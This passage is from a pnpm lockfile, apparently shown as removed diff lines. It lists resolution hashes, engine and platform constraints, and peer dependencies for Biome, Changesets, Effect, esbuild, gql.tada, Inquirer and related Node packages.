sha512-bFBsPWrNvkdKrNCYeAp+xo2HecOGPAy9WyNyB/jKnnedgzl4W4Hb9ZMzYNbf8dMCGmUdSavlYHiR01QaYR58cw==} - engines: {node: '>=14.21.3'} - cpu: [arm64] - os: [darwin] - - '@biomejs/cli-darwin-x64@1.9.4': - resolution: {integrity: sha512-ngYBh/+bEedqkSevPVhLP4QfVPCpb+4BBe2p7Xs32dBgs7rh9nY2AIYUL6BgLw1JVXV8GlpKmb/hNiuIxfPfZg==} - engines: {node: '>=14.21.3'} - cpu: [x64] - os: [darwin] - - '@biomejs/cli-linux-arm64-musl@1.9.4': - resolution: {integrity: sha512-v665Ct9WCRjGa8+kTr0CzApU0+XXtRgwmzIf1SeKSGAv+2scAlW6JR5PMFo6FzqqZ64Po79cKODKf3/AAmECqA==} - engines: {node: '>=14.21.3'} - cpu: [arm64] - os: [linux] - - '@biomejs/cli-linux-arm64@1.9.4': - resolution: {integrity: sha512-fJIW0+LYujdjUgJJuwesP4EjIBl/N/TcOX3IvIHJQNsAqvV2CHIogsmA94BPG6jZATS4Hi+xv4SkBBQSt1N4/g==} - engines: {node: '>=14.21.3'} - cpu: [arm64] - os: [linux] - - '@biomejs/cli-linux-x64-musl@1.9.4': - resolution: {integrity: sha512-gEhi/jSBhZ2m6wjV530Yy8+fNqG8PAinM3oV7CyO+6c3CEh16Eizm21uHVsyVBEB6RIM8JHIl6AGYCv6Q6Q9Tg==} - engines: {node: '>=14.21.3'} - cpu: [x64] - os: [linux] - - '@biomejs/cli-linux-x64@1.9.4': - resolution: {integrity: sha512-lRCJv/Vi3Vlwmbd6K+oQ0KhLHMAysN8lXoCI7XeHlxaajk06u7G+UsFSO01NAs5iYuWKmVZjmiOzJ0OJmGsMwg==} - engines: {node: '>=14.21.3'} - cpu: [x64] - os: [linux] - - '@biomejs/cli-win32-arm64@1.9.4': - resolution: {integrity: sha512-tlbhLk+WXZmgwoIKwHIHEBZUwxml7bRJgk0X2sPyNR3S93cdRq6XulAZRQJ17FYGGzWne0fgrXBKpl7l4M87Hg==} - engines: {node: '>=14.21.3'} - cpu: [arm64] - os: [win32] - - '@biomejs/cli-win32-x64@1.9.4': - resolution: {integrity: sha512-8Y5wMhVIPaWe6jw2H+KlEm4wP/f7EW3810ZLmDlrEEy5KvBsb9ECEfu/kMWD484ijfQ8+nIi0giMgu9g1UAuuA==} - engines: {node: '>=14.21.3'} - cpu: [x64] - os: [win32] - - '@changesets/apply-release-plan@7.0.14': - resolution: {integrity: sha512-ddBvf9PHdy2YY0OUiEl3TV78mH9sckndJR14QAt87KLEbIov81XO0q0QAmvooBxXlqRRP8I9B7XOzZwQG7JkWA==} - - '@changesets/assemble-release-plan@6.0.9': - resolution: {integrity: sha512-tPgeeqCHIwNo8sypKlS3gOPmsS3wP0zHt67JDuL20P4QcXiw/O4Hl7oXiuLnP9yg+rXLQ2sScdV1Kkzde61iSQ==} - - '@changesets/changelog-git@0.2.1': - resolution: {integrity: sha512-x/xEleCFLH28c3bQeQIyeZf8lFXyDFVn1SgcBiR2Tw/r4IAWlk1fzxCEZ6NxQAjF2Nwtczoen3OA2qR+UawQ8Q==} - - '@changesets/cli@2.29.8': - resolution: {integrity: sha512-1weuGZpP63YWUYjay/E84qqwcnt5yJMM0tep10Up7Q5cS/DGe2IZ0Uj3HNMxGhCINZuR7aO9WBMdKnPit5ZDPA==} - hasBin: true - - '@changesets/config@3.1.2': - resolution: {integrity: sha512-CYiRhA4bWKemdYi/uwImjPxqWNpqGPNbEBdX1BdONALFIDK7MCUj6FPkzD+z9gJcvDFUQJn9aDVf4UG7OT6Kog==} - - '@changesets/errors@0.2.0': - resolution: {integrity: sha512-6BLOQUscTpZeGljvyQXlWOItQyU71kCdGz7Pi8H8zdw6BI0g3m43iL4xKUVPWtG+qrrL9DTjpdn8eYuCQSRpow==} - - '@changesets/get-dependents-graph@2.1.3': - resolution: {integrity: sha512-gphr+v0mv2I3Oxt19VdWRRUxq3sseyUpX9DaHpTUmLj92Y10AGy+XOtV+kbM6L/fDcpx7/ISDFK6T8A/P3lOdQ==} - - '@changesets/get-release-plan@4.0.14': - resolution: {integrity: sha512-yjZMHpUHgl4Xl5gRlolVuxDkm4HgSJqT93Ri1Uz8kGrQb+5iJ8dkXJ20M2j/Y4iV5QzS2c5SeTxVSKX+2eMI0g==} - - '@changesets/get-version-range-type@0.4.0': - resolution: {integrity: sha512-hwawtob9DryoGTpixy1D3ZXbGgJu1Rhr+ySH2PvTLHvkZuQ7sRT4oQwMh0hbqZH1weAooedEjRsbrWcGLCeyVQ==} - - '@changesets/git@3.0.4': - resolution: {integrity: sha512-BXANzRFkX+XcC1q/d27NKvlJ1yf7PSAgi8JG6dt8EfbHFHi4neau7mufcSca5zRhwOL8j9s6EqsxmT+s+/E6Sw==} - - '@changesets/logger@0.1.1': - resolution: {integrity: sha512-OQtR36ZlnuTxKqoW4Sv6x5YIhOmClRd5pWsjZsddYxpWs517R0HkyiefQPIytCVh4ZcC5x9XaG8KTdd5iRQUfg==} - - '@changesets/parse@0.4.2': - resolution: {integrity: sha512-Uo5MC5mfg4OM0jU3up66fmSn6/NE9INK+8/Vn/7sMVcdWg46zfbvvUSjD9EMonVqPi9fbrJH9SXHn48Tr1f2yA==} - - '@changesets/pre@2.0.2': - resolution: {integrity: sha512-HaL/gEyFVvkf9KFg6484wR9s0qjAXlZ8qWPDkTyKF6+zqjBe/I2mygg3MbpZ++hdi0ToqNUF8cjj7fBy0dg8Ug==} - - '@changesets/read@0.6.6': - resolution: {integrity: sha512-P5QaN9hJSQQKJShzzpBT13FzOSPyHbqdoIBUd2DJdgvnECCyO6LmAOWSV+O8se2TaZJVwSXjL+v9yhb+a9JeJg==} - - '@changesets/should-skip-package@0.1.2': - resolution: {integrity: sha512-qAK/WrqWLNCP22UDdBTMPH5f41elVDlsNyat180A33dWxuUDyNpg6fPi/FyTZwRriVjg0L8gnjJn2F9XAoF0qw==} - - '@changesets/types@4.1.0': - resolution: {integrity: sha512-LDQvVDv5Kb50ny2s25Fhm3d9QSZimsoUGBsUioj6MC3qbMUCuC8GPIvk/M6IvXx3lYhAs0lwWUQLb+VIEUCECw==} - - '@changesets/types@6.1.0': - resolution: {integrity: sha512-rKQcJ+o1nKNgeoYRHKOS07tAMNd3YSN0uHaJOZYjBAgxfV7TUE7JE+z4BzZdQwb5hKaYbayKN5KrYV7ODb2rAA==} - - '@changesets/write@0.4.0': - resolution: {integrity: sha512-CdTLvIOPiCNuH71pyDu3rA+Q0n65cmAbXnwWH84rKGiFumFzkmHNT8KHTMEchcxN+Kl8I54xGUhJ7l3E7X396Q==} - - '@clack/core@0.4.2': - resolution: {integrity: sha512-NYQfcEy8MWIxrT5Fj8nIVchfRFA26yYKJcvBS7WlUIlw2OmQOY9DhGGXMovyI5J5PpxrCPGkgUi207EBrjpBvg==} - - '@clack/prompts@0.10.1': - resolution: {integrity: sha512-Q0T02vx8ZM9XSv9/Yde0jTmmBQufZhPJfYAg2XrrrxWWaZgq1rr8nU8Hv710BQ1dhoP8rtY7YUdpGej2Qza/cw==} - - '@effect/cli@0.73.2': - resolution: {integrity: sha512-K8IJo81+qa1LU8dhxcDU4QO/bIjL/dPd3zUOSCpLiuUNz8Y3/T+WNs3GqIXEhMfCFMSlRZERN0YgmtRlEZUREA==} - peerDependencies: - '@effect/platform': ^0.94.3 - '@effect/printer': ^0.47.0 - '@effect/printer-ansi': ^0.47.0 - effect: ^3.19.16 - - '@effect/cluster@0.56.4': - resolution: {integrity: sha512-7Je5/JlbZOlsSxsbKjr97dJed2cNGWsb+TLNgMcr5mRDbcWlFOTUGvsrisEJV6waosYLIg+2omPdvnvRoYKdhA==} - peerDependencies: - '@effect/platform': ^0.94.5 - '@effect/rpc': ^0.73.1 - '@effect/sql': ^0.49.0 - '@effect/workflow': ^0.16.0 - effect: ^3.19.17 - - '@effect/experimental@0.58.0': - resolution: {integrity: sha512-IEP9sapjF6rFy5TkoqDPc86st/fnqUfjT7Xa3pWJrFGr1hzaMXHo+mWsYOZS9LAOVKnpHuVziDK97EP5qsCHVA==} - peerDependencies: - '@effect/platform': ^0.94.0 - effect: ^3.19.13 - ioredis: ^5 - lmdb: ^3 - peerDependenciesMeta: - ioredis: - optional: true - lmdb: - optional: true - - '@effect/platform-node-shared@0.57.1': - resolution: {integrity: sha512-oX/bApMdoKsyrDiNdJxo7U9Rz1RXsjRv+ecfAPp1qGlSdGIo32wVRvJ2XCHqYj0sqaYJS0pU0/GCulRfVGuJag==} - peerDependencies: - '@effect/cluster': ^0.56.1 - '@effect/platform': ^0.94.2 - '@effect/rpc': ^0.73.0 - '@effect/sql': ^0.49.0 - effect: ^3.19.15 - - '@effect/platform-node@0.104.1': - resolution: {integrity: sha512-jT1a/z98niK6fnEU8pWHPPCdJMVDRCIdB65lolcOjse5rsTwVbczMjvKkhVQpF63mNWoOnol7OTRNkw5L54llg==} - peerDependencies: - '@effect/cluster': ^0.56.1 - '@effect/platform': ^0.94.2 - '@effect/rpc': ^0.73.0 - '@effect/sql': ^0.49.0 - effect: ^3.19.15 - - '@effect/platform@0.94.5': - resolution: {integrity: sha512-z05APUiDDPbodhTkH/RJqOLoCU11bU2IZLfcwLFrld03+ob1VeqRnELQlmueLIYm6NZifHAtjl32V+GRt34y4A==} - peerDependencies: - effect: ^3.19.17 - - '@effect/printer-ansi@0.47.0': - resolution: {integrity: sha512-tDEQ9XJpXDNYoWMQJHFRMxKGmEOu6z32x3Kb8YLOV5nkauEKnKmWNs7NBp8iio/pqoJbaSwqDwUg9jXVquxfWQ==} - peerDependencies: - '@effect/typeclass': ^0.38.0 - effect: ^3.19.0 - - '@effect/printer@0.47.0': - resolution: {integrity: sha512-VgR8e+YWWhMEAh9qFOjwiZ3OXluAbcVLIOtvp2S5di1nSrPOZxj78g8LE77JSvyfp5y5bS2gmFW+G7xD5uU+2Q==} - peerDependencies: - '@effect/typeclass': ^0.38.0 - effect: ^3.19.0 - - '@effect/rpc@0.73.2': - resolution: {integrity: sha512-td7LHDgBOYKg+VgGWEelD8rSAmvjXz7am17vfxZROX5qIYuvH7drL/z4p5xQFadhHZ7DYdlFpqdO9ggc77OCIw==} - peerDependencies: - '@effect/platform': ^0.94.5 - effect: ^3.19.18 - - '@effect/sql@0.49.0': - resolution: {integrity: sha512-9UEKR+z+MrI/qMAmSvb/RiD9KlgIazjZUCDSpwNgm0lEK9/Q6ExEyfziiYFVCPiptp52cBw8uBHRic8hHnwqXA==} - peerDependencies: - '@effect/experimental': ^0.58.0 - '@effect/platform': ^0.94.0 - effect: ^3.19.13 - - '@effect/typeclass@0.38.0': - resolution: {integrity: sha512-lMUcJTRtG8KXhXoczapZDxbLK5os7M6rn0zkvOgncJW++A0UyelZfMVMKdT5R+fgpZcsAU/1diaqw3uqLJwGxA==} - peerDependencies: - effect: ^3.19.0 - - '@effect/workflow@0.16.0': - resolution: {integrity: sha512-MiAdlxx3TixkgHdbw+Yf1Z3tHAAE0rOQga12kIydJqj05Fnod+W/I+kQGRMY/XWRg+QUsVxhmh1qTr7Ype6lrw==} - peerDependencies: - '@effect/experimental': ^0.58.0 - '@effect/platform': ^0.94.0 - '@effect/rpc': ^0.73.0 - effect: ^3.19.13 - - '@esbuild/aix-ppc64@0.25.12': - resolution: {integrity: sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==} - engines: {node: '>=18'} - cpu: [ppc64] - os: [aix] - - '@esbuild/aix-ppc64@0.27.2': - resolution: {integrity: sha512-GZMB+a0mOMZs4MpDbj8RJp4cw+w1WV5NYD6xzgvzUJ5Ek2jerwfO2eADyI6ExDSUED+1X8aMbegahsJi+8mgpw==} - engines: {node: '>=18'} - cpu: [ppc64] - os: [aix] - - '@esbuild/android-arm64@0.25.12': - resolution: {integrity: sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==} - engines: {node: '>=18'} - cpu: [arm64] - os: [android] - - '@esbuild/android-arm64@0.27.2': - resolution: {integrity: sha512-pvz8ZZ7ot/RBphf8fv60ljmaoydPU12VuXHImtAs0XhLLw+EXBi2BLe3OYSBslR4rryHvweW5gmkKFwTiFy6KA==} - engines: {node: '>=18'} - cpu: [arm64] - os: [android] - - '@esbuild/android-arm@0.25.12': - resolution: {integrity: sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==} - engines: {node: '>=18'} - cpu: [arm] - os: [android] - - '@esbuild/android-arm@0.27.2': - resolution: {integrity: sha512-DVNI8jlPa7Ujbr1yjU2PfUSRtAUZPG9I1RwW4F4xFB1Imiu2on0ADiI/c3td+KmDtVKNbi+nffGDQMfcIMkwIA==} - engines: {node: '>=18'} - cpu: [arm] - os: [android] - - '@esbuild/android-x64@0.25.12': - resolution: {integrity: sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==} - engines: {node: '>=18'} - cpu: [x64] - os: [android] - - '@esbuild/android-x64@0.27.2': - resolution: {integrity: sha512-z8Ank4Byh4TJJOh4wpz8g2vDy75zFL0TlZlkUkEwYXuPSgX8yzep596n6mT7905kA9uHZsf/o2OJZubl2l3M7A==} - engines: {node: '>=18'} - cpu: [x64] - os: [android] - - '@esbuild/darwin-arm64@0.25.12': - resolution: {integrity: sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==} - engines: {node: '>=18'} - cpu: [arm64] - os: [darwin] - - '@esbuild/darwin-arm64@0.27.2': - resolution: {integrity: sha512-davCD2Zc80nzDVRwXTcQP/28fiJbcOwvdolL0sOiOsbwBa72kegmVU0Wrh1MYrbuCL98Omp5dVhQFWRKR2ZAlg==} - engines: {node: '>=18'} - cpu: [arm64] - os: [darwin] - - '@esbuild/darwin-x64@0.25.12': - resolution: {integrity: sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==} - engines: {node: '>=18'} - cpu: [x64] - os: [darwin] - - '@esbuild/darwin-x64@0.27.2': - resolution: {integrity: sha512-ZxtijOmlQCBWGwbVmwOF/UCzuGIbUkqB1faQRf5akQmxRJ1ujusWsb3CVfk/9iZKr2L5SMU5wPBi1UWbvL+VQA==} - engines: {node: '>=18'} - cpu: [x64] - os: [darwin] - - '@esbuild/freebsd-arm64@0.25.12': - resolution: {integrity: sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==} - engines: {node: '>=18'} - cpu: [arm64] - os: [freebsd] - - '@esbuild/freebsd-arm64@0.27.2': - resolution: {integrity: sha512-lS/9CN+rgqQ9czogxlMcBMGd+l8Q3Nj1MFQwBZJyoEKI50XGxwuzznYdwcav6lpOGv5BqaZXqvBSiB/kJ5op+g==} - engines: {node: '>=18'} - cpu: [arm64] - os: [freebsd] - - '@esbuild/freebsd-x64@0.25.12': - resolution: {integrity: sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==} - engines: {node: '>=18'} - cpu: [x64] - os: [freebsd] - - '@esbuild/freebsd-x64@0.27.2': - resolution: {integrity: sha512-tAfqtNYb4YgPnJlEFu4c212HYjQWSO/w/h/lQaBK7RbwGIkBOuNKQI9tqWzx7Wtp7bTPaGC6MJvWI608P3wXYA==} - engines: {node: '>=18'} - cpu: [x64] - os: [freebsd] - - '@esbuild/linux-arm64@0.25.12': - resolution: {integrity: sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==} - engines: {node: '>=18'} - cpu: [arm64] - os: [linux] - - '@esbuild/linux-arm64@0.27.2': - resolution: {integrity: sha512-hYxN8pr66NsCCiRFkHUAsxylNOcAQaxSSkHMMjcpx0si13t1LHFphxJZUiGwojB1a/Hd5OiPIqDdXONia6bhTw==} - engines: {node: '>=18'} - cpu: [arm64] - os: [linux] - - '@esbuild/linux-arm@0.25.12': - resolution: {integrity: sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==} - engines: {node: '>=18'} - cpu: [arm] - os: [linux] - - '@esbuild/linux-arm@0.27.2': - resolution: {integrity: sha512-vWfq4GaIMP9AIe4yj1ZUW18RDhx6EPQKjwe7n8BbIecFtCQG4CfHGaHuh7fdfq+y3LIA2vGS/o9ZBGVxIDi9hw==} - engines: {node: '>=18'} - cpu: [arm] - os: [linux] - - '@esbuild/linux-ia32@0.25.12': - resolution: {integrity: sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==} - engines: {node: '>=18'} - cpu: [ia32] - os: [linux] - - '@esbuild/linux-ia32@0.27.2': - resolution: {integrity: sha512-MJt5BRRSScPDwG2hLelYhAAKh9imjHK5+NE/tvnRLbIqUWa+0E9N4WNMjmp/kXXPHZGqPLxggwVhz7QP8CTR8w==} - engines: {node: '>=18'} - cpu: [ia32] - os: [linux] - - '@esbuild/linux-loong64@0.25.12': - resolution: {integrity: sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==} - engines: {node: '>=18'} - cpu: [loong64] - os: [linux] - - '@esbuild/linux-loong64@0.27.2': - resolution: {integrity: sha512-lugyF1atnAT463aO6KPshVCJK5NgRnU4yb3FUumyVz+cGvZbontBgzeGFO1nF+dPueHD367a2ZXe1NtUkAjOtg==} - engines: {node: '>=18'} - cpu: [loong64] - os: [linux] - - '@esbuild/linux-mips64el@0.25.12': - resolution: {integrity: sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==} - engines: {node: '>=18'} - cpu: [mips64el] - os: [linux] - - '@esbuild/linux-mips64el@0.27.2': - resolution: {integrity: sha512-nlP2I6ArEBewvJ2gjrrkESEZkB5mIoaTswuqNFRv/WYd+ATtUpe9Y09RnJvgvdag7he0OWgEZWhviS1OTOKixw==} - engines: {node: '>=18'} - cpu: [mips64el] - os: [linux] - - '@esbuild/linux-ppc64@0.25.12': - resolution: {integrity: sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==} - engines: {node: '>=18'} - cpu: [ppc64] - os: [linux] - - '@esbuild/linux-ppc64@0.27.2': - resolution: {integrity: sha512-C92gnpey7tUQONqg1n6dKVbx3vphKtTHJaNG2Ok9lGwbZil6DrfyecMsp9CrmXGQJmZ7iiVXvvZH6Ml5hL6XdQ==} - engines: {node: '>=18'} - cpu: [ppc64] - os: [linux] - - '@esbuild/linux-riscv64@0.25.12': - resolution: {integrity: sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==} - engines: {node: '>=18'} - cpu: [riscv64] - os: [linux] - - '@esbuild/linux-riscv64@0.27.2': - resolution: {integrity: sha512-B5BOmojNtUyN8AXlK0QJyvjEZkWwy/FKvakkTDCziX95AowLZKR6aCDhG7LeF7uMCXEJqwa8Bejz5LTPYm8AvA==} - engines: {node: '>=18'} - cpu: [riscv64] - os: [linux] - - '@esbuild/linux-s390x@0.25.12': - resolution: {integrity: sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==} - engines: {node: '>=18'} - cpu: [s390x] - os: [linux] - - '@esbuild/linux-s390x@0.27.2': - resolution: {integrity: sha512-p4bm9+wsPwup5Z8f4EpfN63qNagQ47Ua2znaqGH6bqLlmJ4bx97Y9JdqxgGZ6Y8xVTixUnEkoKSHcpRlDnNr5w==} - engines: {node: '>=18'} - cpu: [s390x] - os: [linux] - - '@esbuild/linux-x64@0.25.12': - resolution: {integrity: sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==} - engines: {node: '>=18'} - cpu: [x64] - os: [linux] - - '@esbuild/linux-x64@0.27.2': - resolution: {integrity: sha512-uwp2Tip5aPmH+NRUwTcfLb+W32WXjpFejTIOWZFw/v7/KnpCDKG66u4DLcurQpiYTiYwQ9B7KOeMJvLCu/OvbA==} - engines: {node: '>=18'} - cpu: [x64] - os: [linux] - - '@esbuild/netbsd-arm64@0.25.12': - resolution: {integrity: sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==} - engines: {node: '>=18'} - cpu: [arm64] - os: [netbsd] - - '@esbuild/netbsd-arm64@0.27.2': - resolution: {integrity: sha512-Kj6DiBlwXrPsCRDeRvGAUb/LNrBASrfqAIok+xB0LxK8CHqxZ037viF13ugfsIpePH93mX7xfJp97cyDuTZ3cw==} - engines: {node: '>=18'} - cpu: [arm64] - os: [netbsd] - - '@esbuild/netbsd-x64@0.25.12': - resolution: {integrity: sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==} - engines: {node: '>=18'} - cpu: [x64] - os: [netbsd] - - '@esbuild/netbsd-x64@0.27.2': - resolution: {integrity: sha512-HwGDZ0VLVBY3Y+Nw0JexZy9o/nUAWq9MlV7cahpaXKW6TOzfVno3y3/M8Ga8u8Yr7GldLOov27xiCnqRZf0tCA==} - engines: {node: '>=18'} - cpu: [x64] - os: [netbsd] - - '@esbuild/openbsd-arm64@0.25.12': - resolution: {integrity: sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==} - engines: {node: '>=18'} - cpu: [arm64] - os: [openbsd] - - '@esbuild/openbsd-arm64@0.27.2': - resolution: {integrity: sha512-DNIHH2BPQ5551A7oSHD0CKbwIA/Ox7+78/AWkbS5QoRzaqlev2uFayfSxq68EkonB+IKjiuxBFoV8ESJy8bOHA==} - engines: {node: '>=18'} - cpu: [arm64] - os: [openbsd] - - '@esbuild/openbsd-x64@0.25.12': - resolution: {integrity: sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==} - engines: {node: '>=18'} - cpu: [x64] - os: [openbsd] - - '@esbuild/openbsd-x64@0.27.2': - resolution: {integrity: sha512-/it7w9Nb7+0KFIzjalNJVR5bOzA9Vay+yIPLVHfIQYG/j+j9VTH84aNB8ExGKPU4AzfaEvN9/V4HV+F+vo8OEg==} - engines: {node: '>=18'} - cpu: [x64] - os: [openbsd] - - '@esbuild/openharmony-arm64@0.25.12': - resolution: {integrity: sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg==} - engines: {node: '>=18'} - cpu: [arm64] - os: [openharmony] - - '@esbuild/openharmony-arm64@0.27.2': - resolution: {integrity: sha512-LRBbCmiU51IXfeXk59csuX/aSaToeG7w48nMwA6049Y4J4+VbWALAuXcs+qcD04rHDuSCSRKdmY63sruDS5qag==} - engines: {node: '>=18'} - cpu: [arm64] - os: [openharmony] - - '@esbuild/sunos-x64@0.25.12': - resolution: {integrity: sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==} - engines: {node: '>=18'} - cpu: [x64] - os: [sunos] - - '@esbuild/sunos-x64@0.27.2': - resolution: {integrity: sha512-kMtx1yqJHTmqaqHPAzKCAkDaKsffmXkPHThSfRwZGyuqyIeBvf08KSsYXl+abf5HDAPMJIPnbBfXvP2ZC2TfHg==} - engines: {node: '>=18'} - cpu: [x64] - os: [sunos] - - '@esbuild/win32-arm64@0.25.12': - resolution: {integrity: sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==} - engines: {node: '>=18'} - cpu: [arm64] - os: [win32] - - '@esbuild/win32-arm64@0.27.2': - resolution: {integrity: sha512-Yaf78O/B3Kkh+nKABUF++bvJv5Ijoy9AN1ww904rOXZFLWVc5OLOfL56W+C8F9xn5JQZa3UX6m+IktJnIb1Jjg==} - engines: {node: '>=18'} - cpu: [arm64] - os: [win32] - - '@esbuild/win32-ia32@0.25.12': - resolution: {integrity: sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==} - engines: {node: '>=18'} - cpu: [ia32] - os: [win32] - - '@esbuild/win32-ia32@0.27.2': - resolution: {integrity: sha512-Iuws0kxo4yusk7sw70Xa2E2imZU5HoixzxfGCdxwBdhiDgt9vX9VUCBhqcwY7/uh//78A1hMkkROMJq9l27oLQ==} - engines: {node: '>=18'} - cpu: [ia32] - os: [win32] - - '@esbuild/win32-x64@0.25.12': - resolution: {integrity: sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==} - engines: {node: '>=18'} - cpu: [x64] - os: [win32] - - '@esbuild/win32-x64@0.27.2': - resolution: {integrity: sha512-sRdU18mcKf7F+YgheI/zGf5alZatMUTKj/jNS6l744f9u3WFu4v7twcUI9vu4mknF4Y9aDlblIie0IM+5xxaqQ==} - engines: {node: '>=18'} - cpu: [x64] - os: [win32] - - '@gql.tada/cli-utils@1.7.2': - resolution: {integrity: sha512-Qbc7hbLvCz6IliIJpJuKJa9p05b2Jona7ov7+qofCsMRxHRZE1kpAmZMvL8JCI4c0IagpIlWNaMizXEQUe8XjQ==} - peerDependencies: - '@0no-co/graphqlsp': ^1.12.13 - '@gql.tada/svelte-support': 1.0.1 - '@gql.tada/vue-support': 1.0.1 - graphql: ^15.5.0 || ^16.0.0 || ^17.0.0 - typescript: ^5.0.0 - peerDependenciesMeta: - '@gql.tada/svelte-support': - optional: true - '@gql.tada/vue-support': - optional: true - - '@gql.tada/internal@1.0.8': - resolution: {integrity: sha512-XYdxJhtHC5WtZfdDqtKjcQ4d7R1s0d1rnlSs3OcBEUbYiPoJJfZU7tWsVXuv047Z6msvmr4ompJ7eLSK5Km57g==} - peerDependencies: - graphql: ^15.5.0 || ^16.0.0 || ^17.0.0 - typescript: ^5.0.0 - - '@graphql-typed-document-node/core@3.2.0': - resolution: {integrity: sha512-mB9oAsNCm9aM3/SOv4YtBMqZbYj10R7dkq8byBqxGY/ncFwhf2oQzMV+LCRlWoDSEBJ3COiR1yeDvMtsoOsuFQ==} - peerDependencies: - graphql: ^0.8.0 || ^0.9.0 || ^0.10.0 || ^0.11.0 || ^0.12.0 || ^0.13.0 || ^14.0.0 || ^15.0.0 || ^16.0.0 || ^17.0.0 - - '@iarna/toml@2.2.5': - resolution: {integrity: sha512-trnsAYxU3xnS1gPHPyU961coFyLkh4gAD/0zQ5mymY4yOZ+CYvsPqUbOFSw0aDM4y0tV7tiFxL/1XfXPNC6IPg==} - - '@inkjs/ui@2.0.0': - resolution: {integrity: sha512-5+8fJmwtF9UvikzLfph9sA+LS+l37Ij/szQltkuXLOAXwNkBX9innfzh4pLGXIB59vKEQUtc6D4qGvhD7h3pAg==} - engines: {node: '>=18'} - peerDependencies: - ink: '>=5' - - '@inquirer/ansi@1.0.2': - resolution: {integrity: sha512-S8qNSZiYzFd0wAcyG5AXCvUHC5Sr7xpZ9wZ2py9XR88jUz8wooStVx5M6dRzczbBWjic9NP7+rY0Xi7qqK/aMQ==} - engines: {node: '>=18'} - - '@inquirer/confirm@5.1.21': - resolution: {integrity: sha512-KR8edRkIsUayMXV+o3Gv+q4jlhENF9nMYUZs9PA2HzrXeHI8M5uDag70U7RJn9yyiMZSbtF5/UexBtAVtZGSbQ==} - engines: {node: '>=18'} - peerDependencies: - '@types/node': '>=18' - peerDependenciesMeta: - '@types/node': - optional: true - - '@inquirer/core@10.3.2': - resolution: {integrity: sha512-43RTuEbfP8MbKzedNqBrlhhNKVwoK//vUFNW3Q3vZ88BLcrs4kYpGg+B2mm5p2K/HfygoCxuKwJJiv8PbGmE0A==} - engines: {node: '>=18'} - peerDependencies: - '@types/node': '>=18' - peerDependenciesMeta: - '@types/node': - optional: true - - '@inquirer/external-editor@1.0.3': - resolution: {integrity: 